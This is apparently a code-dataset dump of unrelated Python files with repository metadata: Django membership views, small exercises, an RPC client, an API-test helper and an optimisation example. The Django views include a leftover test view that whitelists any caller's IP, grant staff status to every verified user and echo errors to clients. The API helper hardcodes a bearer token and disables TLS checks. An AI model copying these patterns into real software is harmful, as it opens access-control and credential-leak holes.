from django.core.context_processors import csrf from django.http import HttpResponse, HttpResponseRedirect, Http404 from django.contrib.auth import authenticate, login as userlogin, logout as userlogout from django.forms.util import ErrorList from django.shortcuts import render_to_response from models import * from forms import * from apps.geo.models import * from apps.core.models import * from apps.spiffs.models import * import datetime import simplejson as json from libs.utils import Response import settings def invitation_landing(request,invid,name): if request.user.is_authenticated(): return HttpResponseRedirect('/members/') first_name = "" last_name = "" parts = name.split("/") if len(parts) == 1: first_name = parts[0] elif len(parts) > 1: first_name = parts[0] last_name = parts[1] try: i = Invitation.objects.get(curl=invid) except: raise Http404() if i.prospect.first_name == first_name and i.prospect.last_name == last_name and (i.status == 'SENT' or i.status == 'VISITED'): form = SignupForm( { "email" : i.prospect.email, "first_name" : i.prospect.first_name, "last_name" : i.prospect.last_name, } ) request.session["invitation"] = i.id i.status = 'VISITED' i.save() return Response.render_form(request,'members/signup.html',form,errors=False) else: raise Http404() #p = Prospect.objects.get(id=invid,first_name=first_name,last_name=last_name,source="Invitation") return HttpResponse(i) def fbinvite(request): params = {"appId" : settings.CRED["FACEBOOK_APP_ID"] } return render_to_response("members/fbinvite.html",params) def invite(request): if not request.user.is_authenticated(): return Response.send_to_login(request) message = None if request.method == 'POST': form = InvitationForm(request.POST) if form.is_valid(): p = Prospect( email = form.cleaned_data['email'], first_name = form.cleaned_data['first_name'], last_name = form.cleaned_data['last_name'], source = "Invitation" ) p.save() invitation = Invitation( sender = User.instance(request.user), prospect = p ) invitation.create_curl() invitation.save() invitation.sendmail() message = "An invitation has been sent to %s " % (p.email) form = InvitationForm() else: pass else: form = InvitationForm() return Response.render ("members/invite.html",{"form" : form , "appId" : settings.CRED["FACEBOOK_APP_ID"], "message" : message},request) def profile(request): if not request.user.is_authenticated(): return Response.send_to_login(request) param = {} try: param['needs_username_correction'] = request.session['needs_username_correction'] except Exception,ex: param['needs_username_correction'] = False user = User.instance(request.user) if request.method == 'POST': form = ProfileForm(request.POST) param['form'] = form param['errors'] = True if form.is_valid(): username = form.cleaned_data['username'] try: u = User.objects.get(username=username) if u.id != user.id: form.errors['username'] = ErrorList( [u'Username already exists']) except: pass email = form.cleaned_data['email'] try: u = User.objects.get(email=email) if u.id != user.id: form.errors['email'] = ErrorList([u'Username with this email already exists']) except: pass if not form.errors: user.username = username user.email = email user.first_name = form.cleaned_data['first_name'] user.last_name = form.cleaned_data['last_name'] user.gender = form.cleaned_data['gender'] user.dob = form.cleaned_data['dob'] user.address.zipcode = form.cleaned_data['zipcode'] user.address.street_line_1 = form.cleaned_data['street_line_1'] user.address.street_line_2 = form.cleaned_data['street_line_2'] user.address.city = form.cleaned_data['city'] user.address.state = form.cleaned_data['state'] user.address.country = Country.objects.get(id=form.cleaned_data['country']) user.address.save() user.save() try: del request.session['needs_username_correction'] except: pass return HttpResponseRedirect('/members/') else: pass else: fn = user.first_name if fn[0] == "(" and fn[-1] == ")": fn = fn[2:-3] ln = user.last_name if ln[0] == "(" and ln[-1] == ")": ln = ln[2:-3] em = user.email if em is None or em == "" or em == "None": em = "" un = user.username if param['needs_username_correction']: un = "" param['form'] = ProfileForm( { "username" : un, "email" : em, "first_name" : fn, "last_name" : ln, "gender" : user.gender, "dob" : user.dob, "zipcode" : user.address.zipcode, "street_line_1" : user.address.street_line_1, "street_line_2" : user.address.street_line_2, "city" : user.address.city, "state" : user.address.state, "country" : user.address.country.id, } ) param['errors'] = False return Response.render ('members/profile.html',param,request) def signup (request): if request.user.is_authenticated(): return HttpResponseRedirect('/members/') if request.method == 'POST': form = SignupForm(request.POST) if form.is_valid(): email1 = form.cleaned_data['email'] email2 = form.cleaned_data['email2'] if email1 != email2: form.errors['email2'] = ErrorList([u'Emails do not match']) try: User.objects.get(email=email1) form.errors['email'] = ErrorList([u'Username with this email already exists']) except: pass username = form.cleaned_data['username'] try: User.objects.get(username=username) form.errors['username'] = ErrorList([u'Username already exists']) except: pass password = form.cleaned_data['password'] if not form.errors: first_name = form.cleaned_data['first_name'] last_name = form.cleaned_data['last_name'] gender = form.cleaned_data['gender'] dob = form.cleaned_data['dob'] country = Country.objects.get(id=1) phonenumber = PhoneNumber( countrycode = 0, carriercode = 0, number = 0, ) phonenumber.save() address = Address( zipcode = "", street_line_1 = "", street_line_2 = "", city = "", state = "", country = country, location = country.location, phonenumebr = phonenumber ) address.save() user = User ( username = username, email = email1, password = User.encode_pass(password), first_name = first_name, last_name = last_name, dob = dob, gender = gender, address = address, verification = User.create_verification("1"), points = 0, ) user.save() reffered_by = False try: ref_id = request.session["f"] reffered_by = User.objects.get(id=ref_id) del request.session["f"] except: pass invitation = False try: invitation = Invitation.objects.get(id=request.session["invitation"]) del request.session["invitation"] except: try: invitation = Invitation.objects.get(prospect=Prospect.objects.get(email=user.email)) except: pass if invitation: reffered_by = invitation.sender invitation.status = "SIGNUP" invitation.save() if reffered_by: ref = Referral(reffered_by=reffered_by,reffered_to=user) ref.save() user.send_verification_mail() return HttpResponseRedirect('/members/') else: try: request.session["f"] = request.GET["f"] return HttpResponseRedirect("/members/signup/") except: pass form = SignupForm() return Response.render_form (request,'members/signup.html',form) def dashboard(request): if request.user.is_authenticated(): params = {} params["user"] = User.instance(request.user) #1- activities chart params["activities"] = Activity.chart(params["user"],5) #2- my deals [deals he is interested in] params["mydeals"] = UserDeal.objects.filter(user=params["user"]).extra(order_by=['-added'])[:5] #3- friends params["friends"] = params["user"].friends #4- recent activities params["recent_points"] = Activity.recent(params["user"],5) #-5 rewards #-6 invite params["iform"] = InvitationForm() return Response.render("members/dashboard.html",params,request) else: return Response.send_to_login(request) def index (request): pass def logout (request): if request.user.is_authenticated(): userlogout(request) return HttpResponseRedirect('/members/login/') def login (request): if request.user.is_authenticated(): return HttpResponseRedirect('/members/') if request.method == 'POST': form = LoginForm(request.POST) if form.is_valid(): username = form.cleaned_data['username'] password = form.cleaned_data['password'] user = authenticate(username=username, password=password) if user is None: form.errors["username"] = ErrorList([u'Invalid Username or Password']) else: s_user = User.objects.get(id=user.id) if s_user.verification.verified == False: form.errors["username"] = ErrorList([u'User must be verified first due to "%s"' % (s_user.verification.purpose)]) elif user.is_active: userlogin(request,user) return Response.send_to_destination(request) else: form.errors["username"] = ErrorList([u'Account Disabled']) else: form = LoginForm() return Response.render_form (request,'members/login.html',form) def settings_view(request): if request.user.is_authenticated(): if request.method == 'POST': for cid in request.POST: try: c = Config.objects.get(id=cid) c.value = request.POST[cid] c.save() except: pass configList = User.instance(request.user).get_all_config() clm = 1 total_clm = 2 table = [] row = {} for title in configList: row[title] = configList[title] clm = clm + 1 if clm > total_clm: table.append(row) row = {} table.append(row) c = {"table":table} c.update(csrf(request)) return Response.render("members/settings.html", c , request) else: return Response.send_to_login(request) def verify(request,code): #http://localhost/members/v/yxdRRWPx22Fr/ if request.user.is_authenticated(): return HttpResponseRedirect('/members/') try: user = User.objects.get(verification=Verification.objects.get(code=code)) if user.verification.purpose == "1" and user.verification.verified == False: user.verification.verified = True user.verification.verified_on = datetime.datetime.now() user.verification.save() user.is_active = True user.is_staff = True user.save() try: ref = Referral.objects.get(reffered_to=user) inv = Invitation.objects.get(sender=ref.reffered_by) inv.status = 'VERIFIED' inv.save() except: pass return Response.send_to_login(request,False) except Exception,e: return HttpResponse(e) def like_deal(request,deal_id): if request.user.is_authenticated(): user = User.instance(request.user) try: deal = Deal.objects.get(id=deal_id) except Deal.DoesNotExist, dne: return Response({"success":False,"message":"Deal does not exist"}) try: ud = UserDeal.objects.get(deal=deal,user=user) return Response.json({"success":False,"message":"Already in my deals","at":str(ud.added)}) except UserDeal.DoesNotExist,ex: ud = UserDeal(deal=deal,user=user) ud.save() return Response.json({"success":True,"message":"success added to my deals", "id":ud.id}) else: return Response.send_to_login(request) def landed(request): try: response = HttpResponse("SUCCESS") max_age = 365*24*60*60 expires = datetime.datetime.strftime(datetime.datetime.utcnow() + datetime.timedelta(seconds=max_age), "%a, %d-%b-%Y %H:%M:%S GMT") response.set_cookie("location", request.GET["loc"], max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN) response.set_cookie("email", request.GET["email"], max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN) return response except Exception, ex: return HttpResponse("FAILURE" + str(ex.message)) ## TEST CODE ## TODO TO BE REMOVED FROM PRODUCTION def clear_loc(request): response = HttpResponseRedirect("/members/") max_age = 0 expires = datetime.datetime.strftime(datetime.datetime.utcnow(),"%a, %d-%b-%Y %H:%M:%S GMT") response.set_cookie("location", "", max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN) response.set_cookie("email", "", max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN) return response def test (request): return HttpResponse(request.COOKIES["location"]) def allow_me (request): from apps.security.models import AllowedHosts try: AllowedHosts.objects.get(ip=request.META["REMOTE_ADDR"]) except AllowedHosts.DoesNotExist, dne: AllowedHosts(ip=request.META["REMOTE_ADDR"]).save() return Response.send_to("/")

[ "sharadpai111@gmail.com" ]

sharadpai111@gmail.com

9e61ca0ec884517b5bc6f4f207ccc7ecc1fab5de

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p02379/s853900815.py

e67e21597c716cb33d750d137584d5e4bcb61215

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

367,112,348

0

null

UTF-8

Python

false

99

py

import math x1, y1, x2, y2=map(float,input().split()) x=x1-x2 y=y1-y2 h=x**2+y**2 print(h**0.5)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

8f6c052d6d1328a08dd9f26b998438597943d538

74b598e062cd1c14c5961ab7067adbacd46b848a

/lab_ai/03.keras_create_model.py

13c6532f6aed18a62f2563bf6d309968e4fac18f

[]

no_license

taeryu0627/face_mask_detector

21cfa86a028055181d1d3be61344d518dbccf7ec

f9b96f0398b1dd541b1d381c7afe76ad8c6b4fd8

refs/heads/main

2023-06-11T06:10:00.270877

2021-06-30T12:47:43

355,539,670

0

null

UTF-8

Python

false

113

py

# 03. keras_create_model.py import tensorflow as tf model = tf.keras.applications.VGG16() print(model.summary())

[ "taeryu0627@naver.com" ]

taeryu0627@naver.com

63f60251d95b41c910e75b02eaf6ef5add1143b6

14e19bcaaf917924e7bb78e4f7e6b42662ff5164

/fancy_month01/day14_fancy/day14_1217_note/iteration_ex.py

80dc7ba2bb6684345580b2348bbc1ac2b70cfb80

[]

no_license

Lzffancy/Aid_study

5b3538443ca0ad1107a83ef237459b035fef70d0

4ba5e5045371490d68459edd1f0a94963e0295b1

refs/heads/master

2023-02-22T19:11:00.867446

2021-01-25T13:01:35

null

0

null

UTF-8

Python

false

389

py

#-------------------- list1 = [1,2,3] for each in list1: print(each) #-------------------- dict1 = {1:11,2:22,3:33} iterator_dict1 = dict1.__iter__() #使其生成迭代器,dict成为迭代对象 while 1: try: key = iterator_dict1.__next__() #使用迭代器　迭代出结果 value =dict1[key] print(key,value) except StopIteration: break

[ "731566721@qq.com" ]

731566721@qq.com

0d12a4366c4ffdf0246d89a69acbbd0677ced682

603233844767fa25ee4d66697623174bd794a01b

/uc2_metric_generator.py

19c00aa099878acd4f337c33bc5c32e6e09384a6

[ "MIT" ]

permissive

5g-media/cno-rl

3479507ebcba1e78167b05f924e45ba371a61cfd

264def52bfd25ca89209ad04a908c3c599dcca02

refs/heads/master

2022-04-20T14:19:16.532485

2020-04-15T10:41:06

2020-04-15T22:21:35

255,919,817

0

MIT

2020-04-15T21:59:34

2020-04-15T13:08:11

null

UTF-8

Python

false

1,882

py

from uc2_settings import METRIC_TEMPLATE, METRIC_TEMPLATE_UC2_EXEC, METRIC_TEMPLATE_UC2_CONF def generate_metric_uc2_exec(metric_value, timestamp, tmp, vce_id): #metric = METRIC_TEMPLATE_UC2_EXEC metric = tmp metric['execution']['value'] = metric_value metric['execution']['mac'] = vce_id #metric['metric']['timestamp'] = timestamp return metric def generate_metric_uc2_conf(metric_value, timestamp, tmp, vce_id): metric_bitrate = {"bitrate": metric_value} #metric = METRIC_TEMPLATE_UC2_CONF metric = tmp metric['vce']['mac'] = vce_id metric['vce']['action'] = metric_bitrate #metric['vce']['timestamp'] = timestamp return metric def generate_metric_uc2_tm(bw, tp, metric_tmp, metric_type, unit): metric = metric_tmp metric['unit'] = str(unit) metric['vdu_uuid'] = 677 metric['value'] = bw metric['type'] = str(metric_type) metric['timestamp'] = tp return metric def generate_metric_uc2_vce(metric_value, timestamp, tmp, vce_id, video_bit_rates, profile): metric = tmp metric['id'] = vce_id #str metric['utc_time'] = timestamp #int metric['metric_x'] = video_bit_rates[int(metric_value[2])] #int metric['metric_y'] = video_bit_rates[int(metric_value[3])] #int metric['metric_z'] = profile return metric def generate_metric_uc2_cno(bandwidth, timestamp, tmp_metric, msg_type): metric = tmp_metric if (msg_type == "request"): metric['sender'] = "UC_2" metric['receiver'] = "O-CNO" metric['timestamp'] = timestamp metric['resource']['bw'] = bandwidth metric['option'] = msg_type elif (msg_type == "respond"): metric['sender'] = "O-CNO" metric['receiver'] = "UC_2" metric['timestamp'] = timestamp metric['resource']['bw'] = bandwidth metric['option'] = msg_type return metric

[ "m.kheirkhah@ucl.ac.uk" ]

m.kheirkhah@ucl.ac.uk

9191c8485a0c9f112d79fc9f561e94b5c35a6caa

df264c442075e04bb09d82f9be1d915c070d7e09

/BJ/G4_15685_20210406.py

79e6ef62c989c5e56453a2dda3a95caa383459a1

[]

no_license

Koozzi/Algorithms

ff7a73726f18e87cab9406e7b71cd5d1856df183

38048ac0774fcab3537bdd64f48cae7d9eb71e6f

refs/heads/master

2021-07-06T04:59:38.564772

2021-05-03T08:49:56

231,848,463

0

null

UTF-8

Python

false

1,213

py

''' 시작 00:00 제출 00:56 종료 ''' from copy import deepcopy def get_next_location(I,J,last_i,last_j): sub_i = I - last_i sub_j = J - last_j next_i = last_i + sub_j next_j = last_j - sub_i return next_i, next_j def make_dragon_curve(dragon_curve): next_dragon_curve = deepcopy(dragon_curve) last_i, last_j = dragon_curve[-1] init_length = len(next_dragon_curve) for idx in range(init_length-2, -1, -1): I, J = next_dragon_curve[idx] next_i, next_j = get_next_location(I,J,last_i,last_j) next_dragon_curve.append([next_i, next_j]) return next_dragon_curve board = [[False for _ in range(101)] for _ in range(101)] move = [[0,1],[-1,0],[0,-1],[1,0]] N = int(input()) for _ in range(N): J,I,D,S = map(int, input().split()) dragon_curve = [[I,J],[I+move[D][0], J+move[D][1]]] for _ in range(S): dragon_curve = make_dragon_curve(dragon_curve) for dragon_i, dragon_j in dragon_curve: board[dragon_i][dragon_j] = True answer = 0 for i in range(100): for j in range(100): if board[i][j] and board[i][j+1] and board[i+1][j] and board[i+1][j+1]: answer += 1 print(answer)

[ "koozzi666@gmail.com" ]

koozzi666@gmail.com

d3ef6138de3e96f29127428c55728e1dbcddf131

cc02568e29d86674a0e8746a4dccb49f94933f15

/sbis.py

419e8bb2e8d31bb902784a41d95cc2eb13f1bc78

[]

no_license

quicksilver32/rivals_finder_test

8f44fc97bfb5ecef2dce1907934b11c91e0e6270

863c50d1eaf49e53601904c08db703c91af85531

refs/heads/master

2020-04-08T23:47:02.205603

2018-12-01T15:04:31

159,840,030

0

null

UTF-8

Python

false

4,185

py

#!/usr/bin/python3 # coding=utf-8 import codecs import pprint import requests import sys sys.stdout = codecs.getwriter("utf-8")(sys.stdout.detach()) log = pprint.PrettyPrinter(indent=4) base_url = 'fix-online.sbis.ru' session = requests.Session() user_id = "" def rpc(service, method, params): global base_url if "http:" in service or "https:" in service: url = service else: url = "https://" + base_url + "/" + service + "/" headers = {"Content-Type": "application/json; charset=utf-8", "Accept": "application/json"} body = {"jsonrpc": "2.0", "protocol": 4, "method": method, "params": params} sys.stdout.flush() raw = session.post(url, headers=headers, json=body) response = raw.json() result = response.get("result") if result is None: print("\n-- {} on {} failed --".format(method, base_url)) log.pprint(response) sys.stdout.flush() raise response return result def rpc_return_record(service, method, params): return parse_record(rpc(service, method, params)) def rpc_return_recordset(service, method, params): return parse_recordset(rpc(service, method, params)) def login(url, user, password): global base_url base_url = url rpc("auth/service", "САП.АутентифицироватьРасш", {"login": user, "password": password}) user_info = rpc_return_record("service", "Пользователь.GetCurrentUserInfo", {}) global user_id user_id = str(user_info['ИдентификаторПользователя']) # log.pprint(user_info) # for c in session.cookies: # log.pprint(f'{c.name}={c.value}') def schema_type(s): return { 'int': 'Число целое', 'int[]': {'n': "Массив", 't': "Число целое"}, 'string': 'Строка', 'bool': 'Логическое', 'uuid': 'UUID', 'date-time': 'Дата и время', 'date': 'Дата', 'time': 'Время' }[s] def schema_field(s): (n, t) = s.split(':') return {'n': n, 't': schema_type(t)} def schema(s): return list(map(lambda f: schema_field(f), s.split(' '))) def record(s, d): return {'s': schema(s), 'd': d} def recordset(s, d): return {'s': schema(s), 'd': d} def navigation(page, page_size, has_more): return record('Страница:int РазмерСтраницы:int ЕстьЕще:bool', [page, page_size, has_more]) def field_type(t): if type(t) is str: return { 'Число целое': 'int', 'Текст': 'string', 'Строка': 'string', 'Логическое': 'bool', 'UUID': 'uuid', 'Дата и время': 'date-time', 'Дата': 'date', 'Время': 'time', 'Запись': 'record', 'Выборка': 'recordset', 'Идентификатор': 'int' }[t] if type(t) is dict and t['n'] == 'Массив': return field_type(t['t']) + ' array' return str(t) def print_uni(record_or_recordset, indent): s = record_or_recordset['s'] data = record_or_recordset['d'] _type = record_or_recordset['_type'] for field_index in sorted([[x, i] for i, x in enumerate(s)], key=lambda x: x[0]['n']): field = field_index[0] index = field_index[1] type_name = field_type(field['t']) print(indent + field['n'] + ' ' + type_name) if type_name == 'record' or type_name == 'recordset': if _type == 'record': sample = data[index] if sample: print_uni(sample, indent + '\t') else: for r in data: sample = r[index] if sample: print_uni(sample, indent + '\t') break def parse_schema(record_or_recordset): names = [] for s in record_or_recordset['s']: names.append(s['n']) return names def parse_data(names, d): item = {} i = 0 for n in names: v = d[i] if isinstance(v, dict): if v['_type'] == 'record': v = parse_record(v) elif v['_type'] == 'recordset': v = parse_recordset(v) item[n] = v i += 1 return item def parse_recordset(rs): names = parse_schema(rs) items = [] for d in rs['d']: items.append(parse_data(names, d)) return items def parse_record(r): return parse_data(parse_schema(r), r['d']) def parse_record_or_recordset(r): if r['_type'] == 'record': return parse_record(r) else: return parse_recordset(r)

[ "ameliya9@mail.ru" ]

ameliya9@mail.ru

18cee653080385d873c821f33b86e5137a1d2c2e

3a2b9a75c47cae05d974ec06d75f621decfeefdd

/base/runmethod.py

14caac28bd5f44cf1d997e0a39c1b9ff3776a482

[]

no_license

fan1992619/at_api

d72fc3344eeb7a15f950387a6009e4c7273e6059

6e61eb336523d1d59609a4d147744508c3f48729

refs/heads/master

2021-07-07T19:14:29.125202

2020-06-07T13:38:09

152,037,744

0

1

null

2020-07-21T09:40:43

2018-10-08T07:37:59

Python

UTF-8

Python

false

3,318

py

# coding:utf-8 import requests import json import time #解决ssl证书报错导入以下包 from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # verify=False 忽略https产生的ssl报错 import random class RunMethod: # 定义一个post方法 def post_main(self,url,header=None,data=None): res = None if header !=None: try: res = requests.post(url=url,data=data,headers=header,verify=False).json() if res['code']==-204: #发布文章已达到上线或者重复提交 print ("重复提交，false") res=self.delete_main(url,header,data) elif res['code']==-201: #已经点赞过该文章 time.sleep(3) res=self.delete_main(url,header,data) res=requests.post(url=url,data=data,headers=header,verify=False).json() elif res['code']==-2: #你无权修改他人信息，标记信息已读或者数据格式错误 pass except: res = requests.post(url=url, data=data, headers=header, verify=False) res=res.status_code else: res = requests.post(url=url,data=data,verify=False).json() time.sleep(2) return json.dumps(res) #定义一个get方法 def get_main(self,url,header=None,data=None): res = None if header !=None: try: res = requests.get(url=url, data=data, headers=header, verify=False).json() except: res=requests.get(url=url, data=data, headers=header, verify=False) res=res.status_code else: try: res = requests.get(url=url, data=data, verify=False).json() # if res['accessid']: # #处理oss签名接口 # time.sleep(3) # res=requests.get(url=url, data=data, verify=False) # res=res.status_code # elif res['code']: # pass except: res = requests.get(url=url, data=data, verify=False) res = res.status_code return json.dumps(res) #定义一个delete方法 def delete_main(self,url,header=None,data=None): res=None res=requests.delete(url=url,data=data,headers=header,verify=False).json() if res['code']!=0: res=self.post_main(url,data,header) res=requests.delete(url=url,data=data,headers=header,verify=False).json() return json.dumps(res) def run_main(self,method,url,header=None,data=None): res = None if method == 'post': res = self.post_main(url,header,data) elif method=='delete': res=self.delete_main(url,header,data) else: res = self.get_main(url,header,data) # return json.dumps(res,ensure_ascii=False) return res if __name__ == '__main__': run=RunMethod() header={ 'Host': 'api.at.top', 'Connection': 'Keep-Alive', 'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.8.1', 'Authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvYXBpLmF0LnRvcFwvdjFcL2FjY291bnRcL3NpZ25pbiIsImlhdCI6MTU0MjcxMDM2MywiZXhwIjoxNTc0MjQ2MzYzLCJuYmYiOjE1NDI3MTAzNjMsImp0aSI6Ijk4ZUtCb2gzaEV1SUE1ckgiLCJzdWIiOiIzMSIsInBydiI6ImM4ZWUxZmM4OWU3NzVlYzRjNzM4NjY3ZTViZTE3YTU5MGI2ZDQwZmMifQ.Ey2Ot4nRgH_fV8Q7D42aKoXH2NzzPYja6bedpBqaXI4', 'deviceid': 'ac:c1:ee:c0:33:34-ac:c1:ee:c0:33:34', 'getuiclientid': '5b9a0d6f110d2b136f9ca135d93fad06', 'platform': 'android', 'userid': '33', 'version': '2.1.0' } data={} url='https://api.at.top/v1/public/parameters' print(run.run_main('get',url))

[ "fan1992619@163.com" ]

fan1992619@163.com

b084b8900fb016f4b9475e88b75aad0b9b39e8ab

1be46b1c0570bfbafdabfc362f9f8be8a98e2640

/POO/ToDo_v3.py

bcd9b8451b23d98ffec6c9be5c39fd3cccea6678

[]

no_license

beaapaixao/praticas_em_python

8c9387cbb6b97fb52577d101e03181545190a568

ca82cb12bf048dd7a501beeb09c6efd0ffc67567

refs/heads/master

2022-11-04T07:18:12.779415

2020-06-18T22:33:32

257,736,346

0

null

UTF-8

Python

false

1,611

py

from datetime import datetime class Projeto: def __init__(self, nome): self.nome = nome self.tarefas = [] def __iter__(self): return self.tarefas.__iter__() def add(self, descricao): self.tarefas.append(Tarefa(descricao)) def pendentes(self): return [tarefa for tarefa in self.tarefas if not tarefa.feito] def procurar(self, descricao): # possivel Inde return [tarefa for tarefa in self.tarefas if tarefa.descricao == descricao][0] def __str__(self): return f'{self.nome} ({len(self.pendentes())} tarefa(s) pendente(s))' class Tarefa: def __init__(self, descricao): self.descricao = descricao self.feito = False self.criacao = datetime.now() def concluir(self): self.feito = True def __str__(self): return self.descricao + ((' Concluído') if self.feito else "") def main(): casa = Projeto('Tarefas de casa') casa.add('Passar roupa') casa.add('Lavar roupa') print(casa) casa.procurar('Lavar roupa').concluir() # agora só tarefa in casa, porque tem o __iter__ for tarefa in casa: print(f'-{tarefa}') print(casa) mercado = Projeto('Compras no mercado') mercado.add('Frutas') mercado.add('Carne') mercado.add('Tomate') print(mercado) comprar_carne = mercado.procurar('Carne') comprar_carne.concluir() # agora só tarefa in mercado, porque tem o __iter__ for tarefa in mercado: print(f'-{tarefa}') print(mercado) if __name__ == '__main__': main()

[ "brendacefet@gmail.com" ]

brendacefet@gmail.com

ccd69ec56c7da165b6fa0449b4e44b9a44fd4bcd

f8ded08c57af4a3726a791b094b38970cbb921e9

/examples/lattice_example06.py

34a47cddce14dd764f333c1d5385f93406f71716

[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]

permissive

mrakitin/mystic

ebeb837b8535ebb2a323519b900cb69e1bbb8a2d

6c269510fd9068d157554eaef99bc1a546b54a59

refs/heads/master

2020-12-30T16:39:55.072424

2017-05-10T18:40:44

null

0

null

UTF-8

Python

false

3,124

py

#!/usr/bin/env python # # Author: Mike McKerns (mmckerns @caltech and @uqfoundation) # Copyright (c) 1997-2016 California Institute of Technology. # Copyright (c) 2016-2017 The Uncertainty Quantification Foundation. # License: 3-clause BSD. The full license text is available at: # - http://trac.mystic.cacr.caltech.edu/project/mystic/browser/mystic/LICENSE """ Example: - Solve 8th-order Chebyshev polynomial coefficients with Powell's method. - Uses LatticeSolver to provide 'pseudo-global' optimization - Plot of fitting to Chebyshev polynomial. Demonstrates: - standard models - minimal solver interface """ # the Lattice solver from mystic.solvers import LatticeSolver # Powell's Directonal solver from mystic.solvers import PowellDirectionalSolver # Chebyshev polynomial and cost function from mystic.models.poly import chebyshev8, chebyshev8cost from mystic.models.poly import chebyshev8coeffs # if available, use a pathos worker pool try: from pathos.pools import ProcessPool as Pool #from pathos.pools import ParallelPool as Pool except ImportError: from mystic.pools import SerialPool as Pool # tools from mystic.termination import NormalizedChangeOverGeneration as NCOG from mystic.math import poly1d from mystic.monitors import VerboseMonitor from mystic.tools import getch import pylab pylab.ion() # draw the plot def plot_exact(): pylab.title("fitting 8th-order Chebyshev polynomial coefficients") pylab.xlabel("x") pylab.ylabel("f(x)") import numpy x = numpy.arange(-1.2, 1.2001, 0.01) exact = chebyshev8(x) pylab.plot(x,exact,'b-') pylab.legend(["Exact"]) pylab.axis([-1.4,1.4,-2,8],'k-') pylab.draw() return # plot the polynomial def plot_solution(params,style='y-'): import numpy x = numpy.arange(-1.2, 1.2001, 0.01) f = poly1d(params) y = f(x) pylab.plot(x,y,style) pylab.legend(["Exact","Fitted"]) pylab.axis([-1.4,1.4,-2,8],'k-') pylab.draw() return if __name__ == '__main__': from pathos.helpers import freeze_support freeze_support() # help Windows use multiprocessing print "Powell's Method" print "===============" # dimensional information from mystic.tools import random_seed random_seed(123) ndim = 9 nbins = 8 #[2,1,2,1,2,1,2,1,1] # draw frame and exact coefficients plot_exact() # configure monitor stepmon = VerboseMonitor(1) # use lattice-Powell to solve 8th-order Chebyshev coefficients solver = LatticeSolver(ndim, nbins) solver.SetNestedSolver(PowellDirectionalSolver) solver.SetMapper(Pool().map) solver.SetGenerationMonitor(stepmon) solver.SetStrictRanges(min=[-300]*ndim, max=[300]*ndim) solver.Solve(chebyshev8cost, NCOG(1e-4), disp=1) solution = solver.Solution() # use pretty print for polynomials print poly1d(solution) # compare solution with actual 8th-order Chebyshev coefficients print "\nActual Coefficients:\n %s\n" % poly1d(chebyshev8coeffs) # plot solution versus exact coefficients plot_solution(solution) getch() # end of file

[ "mmckerns@968178ea-60bd-409e-af13-df8a517b6005" ]

mmckerns@968178ea-60bd-409e-af13-df8a517b6005

f7aaea171c226e956f45fd71047404ac7c38ce8d

39af46b443873ed96809a46a6e15a221955cf0c7

/args.py

4bf00ee1e2377ade44158d39b2a2071ca22ef6bb

[]

no_license

clementbeaulieu/DeepSets

61c786243d3527a90dc473984cd28464a4baf1ed

b26c97aad5b03267a61fb9ad2734f1ac407393f1

refs/heads/master

2022-11-11T17:06:00.831367

2020-07-06T20:23:16

268,858,766

2

0

null

UTF-8

Python

false

4,957

py

import sys import argparse import torch def parse_args(): parser = argparse.ArgumentParser(description='') # expriment settings # name of the experiment parser.add_argument('--name', default='digitsum', type=str, help='name of experiment') parser.add_argument('--train-type', default='regression', type=str, help='type of learning task (regression, classification or unsupervised)') parser.add_argument('--val-type', default='regression', type=str, help='type of validation task (regression, classification, unsupervised or customed)') parser.add_argument('--test-type', default='regression', type=str, help='type of test task (regression, classification, unsupervised or customed)') parser.add_argument('--print-freq-train', type=int, default=10, help='print freq of batch values on training') parser.add_argument('--print-freq-val', type=int, default=10, help='print freq of batch values on training') # name of the dataset used in the experiment parser.add_argument('--dataset', default='digitsum_image', type=str, help='name of dataset to train upon') parser.add_argument('--test', dest='test', action='store_true', default=False, help='To run inference on test set.') # main folder for data storage parser.add_argument('--root-dir', type=str, default=None) # model settings parser.add_argument('--arch', type=str, default='digitsum_image', help='name of the architecture to be used') parser.add_argument('--model-name', type=str, default='digitsum_image50', help='name of the model to be used') parser.add_argument('--resume', default='', type=str, metavar='PATH', help='which checkpoint to resume from. possible values["latest", "best", epoch]') # params for digitsum image experiment parser.add_argument('--min-size-train', type=int, default = 2, help='min size for train set sizes') parser.add_argument('--max-size-train', type=int, default = 10, help='max size for train set sizes') parser.add_argument('--min-size-val', type=int, default = 5, help='min size validation/test for set sizes') parser.add_argument('--max-size-val', type=int, default = 50, help='max size validation/test for set sizes') parser.add_argument('--dataset-size-train', type=int, default = 100000, help='size of the train dataset of sets') parser.add_argument('--dataset-size-val', type=int, default = 10000, help='size of the validation/test dataset of sets') parser.add_argument('--set-weight', type=str, default='mean', help='default set_weight metrics for set_MAP score (mean, linear or exp)') # params for classification tasks parser.add_argument('--num-classes', default=0, type=int) # number of workers for the dataloader parser.add_argument('-j', '--workers', type=int, default=4) # training settings parser.add_argument('--start-epoch', type=int, default=1) parser.add_argument('--step', type=int, default=20, help='frequency of updating learning rate') parser.add_argument('--batch-size', type=int, default=64, metavar='N', help='input batch size for training (default: 64)') parser.add_argument('--epochs', type=int, default=100, metavar='N', help='number of epochs to train (default: 70)') parser.add_argument('--optimizer', default='adam', type=str, help='name of the optimizer') parser.add_argument('--scheduler', default='StepLR', type=str, help='name of the learning rate scheduler') parser.add_argument('--lr', type=float, default=0.01, metavar='LR', help='learning rate (default: 0.01)') parser.add_argument('--momentum', type=float, default=0.9, metavar='M', help='sgd momentum (default: 0.9)') parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float, metavar='W', help='weight decay (default: 